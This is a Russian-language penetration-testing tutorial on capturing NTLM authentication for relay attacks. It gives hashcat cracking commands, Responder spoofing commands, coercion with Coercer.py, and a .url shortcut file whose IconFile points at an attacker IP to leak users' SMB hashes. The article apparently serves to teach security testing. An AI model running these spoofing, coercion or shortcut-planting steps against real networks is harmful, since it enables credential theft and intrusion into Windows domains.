Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Почему мы до сих пор встречаем NTLM-аутентификацию во многих инфраструктурах? Потому что Windows не может существовать без нее. Но у NTLM-аутентификации есть целый ряд проблем, которыми пользуются злоумышленники. Одна из них — это возможность Relay-атак. В этой статье мы обсудим способы захвата аутентификации для проведения Relay-атаки.
NTLM — это протокол проверки подлинности в сетях Windows NT. На самом деле он перекочевал и в другие домены, например ALD или FreeIPA. Чтобы не закапываться глубоко в теорию, постараюсь объяснить принцип его работы на простой схеме.
Схема NTLM-аутентификации
В простом случае все понятно: есть клиент, есть сервер, клиент проходит аутентификацию по протоколу NTLM. Добавим остроты в нашу схему: теперь у нас появляется некий атакующий.
Схема NTLM Relay
Из схемы мы понимаем, что атакующий на своей рабочей станции сразу разворачивает и сервер, и клиент для взаимодействия по протоколу NTLM. Для улучшения восприятия поясним, что происходит на схеме.
Схема в целом понятна, но при проведении атаки бывают нюансы, про которые нужно знать. Во‑первых, NTLM не существует в вакууме, ее используют различные протоколы, такие как SMB, LDAP или RPC. Во‑вторых, при прохождении аутентификации могут использоваться разные хеши: NetNTLMv1 и NetNTLMv2. Эти хеши имеют свои особенности, от которых может зависеть результат проведения атаки.
Существует две версии протокола: NTLMv1 и NTLMv2. В NTLMv1 используется хеш NetNTLMv1, и он безнадежно устарел:
Как можно догадаться, в NTLMv2 используется хеш NetNTLMv2. В нем разработчики постарались решить все проблемы протокола NTLMv1. Действительно, можно сказать, что обратить этот хеш за разумное время хотя бы до NT пока не представляется возможным. Подготовить радужные таблицы не получится, потому что к CHALLENGE добавилась метка времени. А вот с Relay-атаками не все так однозначно, но об этом мы поговорим в другой раз.
В этой статье будут рассмотрены некоторые варианты захвата NTLM-аутентификации для реализации Relay-атак. В следующей мы обсудим непосредственно Relay-атаки.
Самое простое, что можно сделать с полученным NetNTLM-хешем любой версии, — это подобрать пароль по словарю. Например, так:
hashcat -a0 -m 5500 hash wordlist -r rules (NetNTLMv1)hashcat -a0 -m 5600 hash wordlist -r rules (NetNTLMv2)
Один из самых простых способов получить NTLM-аутентификацию — спуфинг с помощью Responder (этот инструмент можно найти в Kali).
info
Можно запустить NetBIOS spoofing с помощью Responder и полученную аутентификацию использовать для Relay-атаки. Для этого нужно просто отключить в конфиге Responder сервера SMB, HTTP и DCE RPC, чтобы не возникло конфликта с ntlmrelayx. После этого запустить Responder и ntlmrelayx.
Уверен, что многие уже использовали этот инструмент для захвата хешей, поэтому кратко пробежимся по основным функциям. Responder предоставляет пользователю набор серверов для захвата и обработки аутентификаций.
Список серверов Responder
Захват хеша с Responder выглядит примерно следующим образом.
Захват NetNTLM-хеша с помощью Responder
Этот формат пригоден для брута с помощью hashcat. Все захваченные хеши Responder складывает в базу SQLite, расположенную по пути /usr/share/responder/Responder.db
. Открыть базу можно следующей командой:
sqlitebrowser /usr/share/responder/Responder.db
Внешний вид Responder.db
Файл конфигурации Responder находится здесь: /etc/responder/Responder.conf
. Эта информация может пригодиться, если надо будет выключить или включить определенный сервер. На скрине ниже изображен файл конфигураций Responder.conf
.
Конфиг Responder.conf
Responder незаменим для реализации спуфинг‑атак в сетях на основе Windows. Предпосылкой для выполнения атаки типа NetBIOS Spoofing служит наличие в сети широковещательного трафика типа NBNS, LLMNR и mDNS. Трафик в сети можно прослушивать с помощью Wireshark, применяя фильтр NBNS.
NBNS-трафик в сети
Вместо визуального анализа трафика можем просто запустить Responder в режиме анализа следующей командой:
responder -I eth0 -A
После запуска получаем примерно такую картину, можем пробовать спуфинг.
Responder в режиме анализа
Спуфинг‑атаки для захвата аутентификации можно выполнять следующей командой:
responder -I eth0 -dwF
Если атака удалась, переходим к следующим шагам.
Результат выполнения спуфинг‑атаки
Для выполнения Relay-атак удобнее всего использовать ntlmrelayx из пакета impacket. В этом инструменте реализованы часто встречающиеся протоколы, с которых можно захватить NTLM-аутентификацию. Вообще, ntlmrelayx имеет клиент‑серверную модель, и в этой статье мы как раз обсудим все RelayServers, реализованные в нем, и даже добавим новый, которого еще нет в основной ветке.
info
Стоит сразу отметить, что порты, которые прослушивают серверы RelayServer ntlmrelayx, можно сменить. Это может пригодиться при реализации сложных атак.
Протокол SMB с точки зрения Relay-атак наиболее изученный и популярный, поэтому и способов захвата аутентификации с SMB больше всего. Вот несколько вариантов того, как это можно сделать:
С coerce-атаками мы сейчас подробно разбираться не будем. Стоит упомянуть, что если у нас есть учетная запись, то coerce уже не уязвимость, а особенность архитектуры.
Принуждать можно любым удобным скриптом, например Coercer.py
— на сегодняшний день он поддерживает почти все известные методы принуждения, в том числе без учетной записи.
info
На самом деле coerce-атаки можно выполнять не только с 445-го порта, но и с 139, 135 и 4915-го портов. Подробнее об этом, а также о методах защиты от этих атак можно почитать на «Хабре».
Пример использования Coercer.py
показан на рисунке ниже.
Запуск Coercer.py
В результате принуждения мы получаем NTLM-аутентификацию.
Результат выполнения coerce-атаки
Важно отметить, что в результате выполнения такой атаки мы получаем именно машинную учетную запись, это необходимо помнить при планировании Relay-атак.
Техники с ярлычками довольно старые и действенные, называются они slinky и scuffy. Если в сети присутствуют папки, открытые на запись, обязательно нужно положить в них ярлычки, которые будут ссылаться на IP-адрес атакующего. Как только пользователь откроет сетевую папку с нашим ярлыком, нам прилетит NTLM-аутентификация на SMB. Реализовать атаку можно несколькими способами:
Для эксперимента выберем третий вариант и будем использовать технику, которая немного отличается от slinky и scuffy. Содержимое файла с расширением .url
будет примерно следующим:
[InternetShortcut]URL=whateverWorkingDirectory=whateverIconFile=\<attacker IP>%USERNAME%.iconIconIndex=1
Положили ярлык в сетевую папку, перешли в нее и получили NTLM-аутентификацию, как показано на следующих рисунках.
Переходим в сетевую папку, где расположен ярлык.
Положили ярлык в сетевую папку
Сразу же прилетает NTLM-аутентификация.
Результат размещения ярлыка в сетевой папке
В примере хеш захвачен с помощью Responder, на практике же можно запустить ntlmrelayx и выполнить Relay-атаку.
Источник: xakep.ru